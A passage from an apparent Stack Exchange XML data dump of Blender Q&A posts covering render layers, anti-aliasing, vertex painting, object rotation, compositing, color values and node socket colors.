here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Scene:&lt;/strong&gt;  The &lt;em&gt;scene&lt;/em&gt; layers determine two things: which layers are shown in the 3D view, and which layers are taken into account in the render.  (As mentioned earlier this layer selector parallels the one in the footer of the 3D view.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Layer:&lt;/strong&gt;  The &lt;em&gt;layer&lt;/em&gt; layers determine which layers are visible &lt;em&gt;to the camera&lt;/em&gt; in the render.  This allows you to have certain layers counted into the render (by selecting them under &lt;em&gt;scene&lt;/em&gt;), but not visible to the camera (by not selecting them here).  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Exclude:&lt;/strong&gt;  Any layers selected under &lt;em&gt;exclude&lt;/em&gt; will not be calculated in the render in any way.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mask:&lt;/strong&gt;  Objects in layers selected under &lt;em&gt;mask&lt;/em&gt; will be rendered as transparency to the camera.  They will take part in all other calculations if selected under &lt;em&gt;layer&lt;/em&gt; though.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is an example showing the functions of the 4 different layer selectors.  The ground plane, light, and camera are on layer 1 (top left); and the red box is on layer 2.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Hp2wp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hp2wp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;Click to enlarge.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Render Passes&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Render passes are simply different ways of rendering a scene, often used in the compositor for post processing effects.  You can choose which passes you want to render under &lt;em&gt;properties&lt;/em&gt; panel &gt; &lt;em&gt;render layers&lt;/em&gt; tab &gt; &lt;em&gt;passes&lt;/em&gt; rollout.  Which ever passes you select will then appear as outputs on the &lt;em&gt;render layers&lt;/em&gt; node in the compositor.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wcwcQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Render Layers&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I think what may be confusing you is that there is also something called &lt;em&gt;render layers&lt;/em&gt;.  Render layers are a way of rendering the scene multiple times with different settings (including passes and visible layers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add new render layers and select which ones should be rendered at the top of the &lt;em&gt;render layers&lt;/em&gt; tab.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9Iwyw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorDisplayName="user1853" LastEditDate="2017-12-07T16:11:24.653" LastActivityDate="2017-12-07T16:11:24.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33903" PostTypeId="2" ParentId="32127" CreationDate="2015-07-13T15:06:58.237" Score="7" Body="&lt;p&gt;Full disclosure, the add-on I'm about to recommend is a paid for add-on created by me, but I think it does what you need as it was built partially for the very task of skipping transparent parts of an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were rendering a still image you could use the '&lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/navigate/clip.html#render-border&quot; rel=&quot;nofollow noreferrer&quot;&gt;render border&lt;/a&gt;' feature of blender to skip areas outside of the chosen area. For animations you can use my add-on, the &lt;a href=&quot;https://blendermarket.com/products/animated-render-border/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Animated Render Border&lt;/a&gt; (link to Blender Artists thread for add-on). This updates the render border every frame so it always surrounds the selected object or group and works both in the viewport and the final render, allowing the skipping of transparent parts for all frames. It also has an adjustable margin to allow for a slight border around the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a (choppy) gif showing it in action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V7HPf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2019-06-27T15:49:37.467" LastActivityDate="2019-06-27T15:49:37.467" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33904" PostTypeId="2" ParentId="33895" CreationDate="2015-07-13T15:16:02.423" Score="2" Body="&lt;p&gt;Here's an example of a similar problem I'm facing at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o9oEG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the ribbed feature of the can happens to be on the boundary of pixels for every rib, this means cycles won't know which colour to make most important (that would require &lt;a href=&quot;https://en.wikipedia.org/wiki/Spatial_anti-aliasing&quot; rel=&quot;nofollow noreferrer&quot;&gt;spatial antialiasing&lt;/a&gt;), it doesn't have contextual information that our brains have. This is the &lt;a href=&quot;https://images.google.com/?q=moire+effect&quot; rel=&quot;nofollow noreferrer&quot;&gt;Moiré effect&lt;/a&gt;, it almost looks transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I zoom in and render just the can at higher resolution it's obvious that the geometry is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K30xj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may be wrong, but I think this is an edge case which directly relates the feature size being so close to pixels and that causes the jaggie pattern to emerge. As for extra AA, cycles does AA implicitly I think it's part of the algorithm, if it's getting it wrong there's little that can be done (without changing the geometry a little)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may seem like a lazy answer, but it's normal to render at higher resolution than the final needed render, and sample down in post-processing to help the AA. In the case where you have features which are about the same size as a pixel (or in a pattern of every 2nd pixel), this becomes important. It's easier to sample down once you have all the right pixels than it is for Cycles to perform AA with insufficient information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other helpful ways to reduce jaggies are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bevels to make the surface edges less abrupt (help guide the light)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;but make sure the bevels are finer grained than the pixels used to represent them, so go for a multi-cut fillet if you can spare the geometry.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;add imperfections (most surfaces are not flawless..it all contributes to realism and helps break up unwanted patterns)&lt;/li&gt;&#xA;&lt;li&gt;softer lighting, more bounces.&lt;/li&gt;&#xA;&lt;li&gt;The post processing tab has a Dither option to help avoid banding, worth seeing if that tames the effect a bit.&lt;/li&gt;&#xA;&lt;li&gt;reduce the glossyness, or specular effect, it will be most noticable at the corners. that means the difference between:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/q9Odd.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;and&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MNzGG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-14T14:50:20.883" LastActivityDate="2015-07-14T14:50:20.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33905" PostTypeId="1" CreationDate="2015-07-13T15:39:48.660" Score="12" ViewCount="38162" Body="&lt;p&gt;So I want to change the reference &quot;zero&quot; orientation [with respect to the global coordinate system] of a body in blender.  In other words, when a body's rotation is set to zero (0 deg, 0 deg, 0 deg), the body's axis is oriented in a certain direction.  I want to change this &quot;zeroed&quot; direction without changing the actual rotation.  For example, how could I rotate this body 90 deg about the x-axis [with respect to the global coordinate system] and have the rotation coordinates still say (0 deg, 0 deg, 0deg)?&lt;/p&gt;&#xA;" OwnerUserId="15622" LastActivityDate="2020-11-24T23:25:04.190" Title="How can I &quot;zero&quot; an object's orientation in blender?" Tags="&lt;transforms&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33906" PostTypeId="2" ParentId="33669" CreationDate="2015-07-13T15:46:04.443" Score="1" Body="&lt;p&gt;I found how to move the highest plan of the bounding box and position it correctly above the object : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;activeob = bpy.context.selected_objects&#xA;cube = activeob[0]&#xA;bpy.context.scene.objects.active = bpy.data.objects[cube.name]&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;mesh = bmesh.from_edit_mesh(cube.data)  &#xA;ob = bpy.data.objects[cube.name]&#xA;matrix = ob.matrix_world&#xA;for v in mesh.verts:&#xA;    if v.select:&#xA;        v.co = v.co*matrix&#xA;        v.co.z += 20&#xA;        matrix_inv = matrix.inverted()&#xA;        v.co = matrix_inv*v.co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12685" LastActivityDate="2015-07-13T15:46:04.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33907" PostTypeId="2" ParentId="33900" CreationDate="2015-07-13T16:21:37.903" Score="2" Body="&lt;p&gt;I think that is not possible to configure the vertex paint brush with the options provided by Blender at this time (2.75a) without scripting yourself the tool you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vertex brush simply cannot &quot;see&quot; the face, probably because it's normal is not facing the brush projection enough...or something like that...&#xA;I'm not a coder as you might have guessed, but I can suggest to you two alternatives workflows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1-Texture paint--&gt;Vertex Color&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UV unwrap your model&lt;/li&gt;&#xA;&lt;li&gt;Create a texture&lt;/li&gt;&#xA;&lt;li&gt;Paint your colors on the texture&lt;/li&gt;&#xA;&lt;li&gt;Install and use the Bake Uv-Texture to Vertex colors add-on&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By painting with the texture tools you'll be able to access the &quot;Normal threshold&quot; options that make you able to define a custom range for your brush&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5lTJE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than you can extract color info from the texture map through the add-on and bake them to vertex color&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R2kSq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2 - Edit mode, expand and contract selection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Edit mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select faces&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ctrl+&quot;+&quot; to expand till filling holes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ctrl+&quot;-&quot; to reduce selection to the initial size&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Vertex paint, set &quot;face selection masking&quot; on to work only on&#xA;the selected faces&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shift+&quot;k&quot; to paint the brush color on the active faces&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This works only if you are using solid colours, without blending ramps on the border or other features that the vertex paint is able to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course you have to iterate the process for every different colour (and without the possibility to see what you have done before).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before expanding and contracting selection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cAUp7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pnopX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting color to selected faces in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9IKJ9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-15T14:50:23.880" LastActivityDate="2015-07-15T14:50:23.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33908" PostTypeId="2" ParentId="33829" CreationDate="2015-07-13T16:23:06.440" Score="6" Body="&lt;p&gt;Often times to control parts of the game that are kinda background or sidework, we add empties. Invisible empties can be used for playing sounds, loading levels, spawning bad-guys, or running pythn scripts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an empty that will run your script if it doesn't need to be on a specific object (a jeep for example ;) add an always sensor to it, and then connect it to a python controller, set the controller to run your script, then enable the little marker next to the name of the controller, setting it to be a startup script. the symbol will change from this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PkbdM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fir5L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And your final setup will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bZrRu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-07-13T16:23:06.440" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33909" PostTypeId="2" ParentId="33895" CreationDate="2015-07-13T16:33:10.143" Score="2" Body="&lt;p&gt;If you switch to branched path tracing you can access and alter the Anti Alias sampling.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sQ6Wg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-13T16:33:10.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33910" PostTypeId="2" ParentId="33894" CreationDate="2015-07-13T16:54:58.850" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Render your complex scene as images to a PNG file sequence with some file name sequence such as base name sequence001.  No compositing.  The idea is multiple compositing nodes will be used later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In a separate scene, for convenience, use the compositor, read in the file sequence001.  Composite these images in the compositor.  These newly composited files can be written as base name sequence002.  You might put some non renderable text object in the scene such as &quot;See the compositor&quot; as a form of notes.  Otherwise this blender scene might have very few objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat step 02 if necessary to achieve your goal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The assumption is that your compositor nodes are doing more the the Blender VSE can.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-07-13T16:54:58.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33911" PostTypeId="2" ParentId="33905" CreationDate="2015-07-13T16:59:42.177" Score="11" Body="&lt;p&gt;The simplest ways to do this are to either rotate the mesh in &lt;em&gt;Edit Mode&lt;/em&gt; or to rotate it in &lt;em&gt;Object mode&lt;/em&gt; and then applying the rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can either enter &lt;em&gt;Edit mode&lt;/em&gt;, by pressing &lt;kbd&gt;Tab&lt;/kbd&gt;, and then rotating the mesh with &lt;kbd&gt;R&lt;/kbd&gt;; the reason this works is that, when transforms are applied in &lt;em&gt;edit mode&lt;/em&gt;, the object's &lt;em&gt;origin&lt;/em&gt; is not affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other possible solution is to press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Rotation&lt;/em&gt;, which will, essentially do the same as above, by rotating the mesh, but not the object, and thus not the origin, and then resseting the origin's roattion.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-07-13T16:59:42.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33912" PostTypeId="2" ParentId="33894" CreationDate="2015-07-13T17:00:25.733" Score="3" Body="&lt;p&gt;If I understand your question, when you render an image and set &quot;use nodes&quot; in the compositor, you can check the &quot;backdrop&quot; function, then Ctrl Shift click on a node to create a viewer and see the output of that node on the backdrop. You can see the result anlso in an UV/image editor, if you change the header's dropdown menu from &quot;render result&quot; to &quot;Viewer node&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as you change a value in the compositor, the change is reflected in the Viewer (Backdrop or UV/Image window), without any need to push any button to trigger the compositor, and without the need of redoing the render: it's automatic (maybe a little slow and not realtime: check the upper info header for a compositing Time bar)&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-07-13T17:00:25.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33913" PostTypeId="1" AcceptedAnswerId="33959" CreationDate="2015-07-13T17:03:38.963" Score="1" ViewCount="1459" Body="&lt;p&gt;&lt;strong&gt;In short:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate Mesh and choose color in color picker for the whole mesh (The mesh in the example below is a simple cube)&lt;/li&gt;&#xA;&lt;li&gt;Read color (three float values) via Python and send them (with mesh details and uv-map ect) to a C++-Application&lt;/li&gt;&#xA;&lt;li&gt;C++-Application creates a image which should be used as a texture&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color, which is shown in the color picker isn't the same as the color of the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the three float values, calculate the values between 0 and 255 and set the rgb-channels. Then the image is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some Screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;color picker with rgb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0Lue.png&quot; alt=&quot;color picker with rgb&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RGB-Values via GIMP:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;R = 184&lt;/li&gt;&#xA;&lt;li&gt;G = 119 &lt;/li&gt;&#xA;&lt;li&gt;B = 255&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;RGB-Values calculated and rounded: (255 * value)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;R = 0.479 * 255 = 122&lt;/li&gt;&#xA;&lt;li&gt;G = 0.184 * 255 = 47&lt;/li&gt;&#xA;&lt;li&gt;B = 1.0 * 255 = 255&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;They aren't the same?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Generated Texture&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YLkx5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RGB-Values via GIMP:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;R = 122&lt;/li&gt;&#xA;&lt;li&gt;G = 47&lt;/li&gt;&#xA;&lt;li&gt;B = 255&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Renderen with Blender Cycles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now a Screenshot from the Mesh + Texture rendered via Cycles (with Ambient Occlusion). I removed the default lamp because I wan't to get a clean output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OJ5La.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RGB-Values of the color picker via GIMP (same as above):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;R = 184&lt;/li&gt;&#xA;&lt;li&gt;G = 119&lt;/li&gt;&#xA;&lt;li&gt;B = 255&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;RGB-Values of the cube via GIMP:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;R = 125&lt;/li&gt;&#xA;&lt;li&gt;G = 48&lt;/li&gt;&#xA;&lt;li&gt;B = 255&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I didn't know which tags I should use for this question. So please remove or add tags if you think that would be better. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastActivityDate="2015-07-14T11:05:36.953" Title="Why do calculated and read-out RGB-Values differ?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33914" PostTypeId="1" AcceptedAnswerId="33918" CreationDate="2015-07-13T18:08:50.057" Score="3" ViewCount="658" Body="&lt;p&gt;I have a mesh that looks fine when I preview it in the viewport via Shift+Z.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4YOtk.png&quot; alt=&quot;(desired look)&quot;&gt;&#xA;Once I render it, everything has this choppy checkerboard-ish quality to it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SjyJJ.jpg&quot; alt=&quot;(the render)&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L8ZwO.png&quot; alt=&quot;(the choppy checkerboard up-close)&quot;&gt;&#xA;How do I fix this problem so the render looks like the rendered viewport preview?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend: &#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/343/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=343&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2613" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-07-14T16:30:49.207" Title="A render in Blender Internal looks like a choppy checkerboard" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33915" PostTypeId="1" AcceptedAnswerId="33919" CreationDate="2015-07-13T18:35:44.487" Score="22" ViewCount="5937" Body="&lt;p&gt;I have been searching on the web and I can't find this. What is the meaning of the color of the node sockets in the node editor?&lt;/p&gt;&#xA;" OwnerUserId="15625" LastEditorUserId="599" LastEditDate="2015-07-13T19:47:35.910" LastActivityDate="2021-01-07T20:48:48.297" Title="What is the meaning of the color of the node sockets in the node editor?" Tags="&lt;interface&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33916" PostTypeId="1" AcceptedAnswerId="33929" CreationDate="2015-07-13T18:38:06.770" Score="2" ViewCount="539" Body="&lt;p&gt;here I have a complex curve generated from a text,And I wan this cube to follow that curve,(making a writing animation),I tried the follow path but id didint work well,My question is:&#xA;Is there is any other way to do this?&lt;img src=&quot;https://i.stack.imgur.com/7WMKL.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2015-07-14T14:28:28.850" Title="Make an object follow a complex curve?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33917" PostTypeId="1" AcceptedAnswerId="33922" CreationDate="2015-07-13T18:41:57.440" Score="0" ViewCount="1649" Body="&lt;p&gt;When I render to a mulitchannel .exr file and open it in Nuke, the rgb layer is always empty (black).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, the information for the beauty pass is found in a seperate layer called &quot;combined&quot;. Why is Blender not putting the result of the combined pass into the rgb layer of the .exr file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I somehow re-route that?&lt;/p&gt;&#xA;" OwnerUserId="15614" LastEditorUserId="894" LastEditDate="2015-07-14T19:51:25.553" LastActivityDate="2017-04-20T15:36:08.460" Title="Rendering to multichannel .exr has empty rgb layer" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33918" PostTypeId="2" ParentId="33914" CreationDate="2015-07-13T18:53:35.223" Score="5" Body="&lt;p&gt;As suggested by &lt;a href=&quot;https://blender.stackexchange.com/users/47/zeffii&quot;&gt;zeffi&lt;/a&gt; in comments there is a problem in z calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably due to the high values in camera's &lt;a href=&quot;https://en.wikipedia.org/wiki/Viewing_frustum&quot; rel=&quot;nofollow noreferrer&quot;&gt;frustum&lt;/a&gt; which leads Blender to make errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lowering the value of clipping plane to the minumum necessary to include all the geometry seems to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uoc9X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-07-14T16:30:49.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33919" PostTypeId="2" ParentId="33915" CreationDate="2015-07-13T19:05:08.873" Score="29" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Grey&lt;/strong&gt; is a single value&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Yellow&lt;/strong&gt; is a tuple containing 3 values; the red, green, and blue channels of a color.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Purple&lt;/strong&gt; is a tuple containing 3 values. Used for vector/coordinate information.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Green&lt;/strong&gt; is a shader closure, representing a description of how light will interact with a surface or volume. This one can only be connected into other green sockets.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Note that these will be converted to/from each other automatically as much as possible:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Yellow and purple can be connected to each other without any loss of information (under the hood they are pretty much the same).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Grey can be connected to yellow or purple without any loss of information (all three values in the tuple will the same value)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yellow and purple can be connected to gray, but &lt;a href=&quot;https://blender.stackexchange.com/a/32242/599&quot;&gt;will be converted to a single grayscale value&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dbIGe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;More info on this link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/102520/cycles-shader-nodes-inputs-outputs-what-are-the-exact-data-types&quot;&gt;Cycles - (Shader) Nodes - inputs outputs - What are the exact data types?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="92768" LastEditDate="2021-01-07T20:48:48.297" LastActivityDate="2021-01-07T20:48:48.297" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
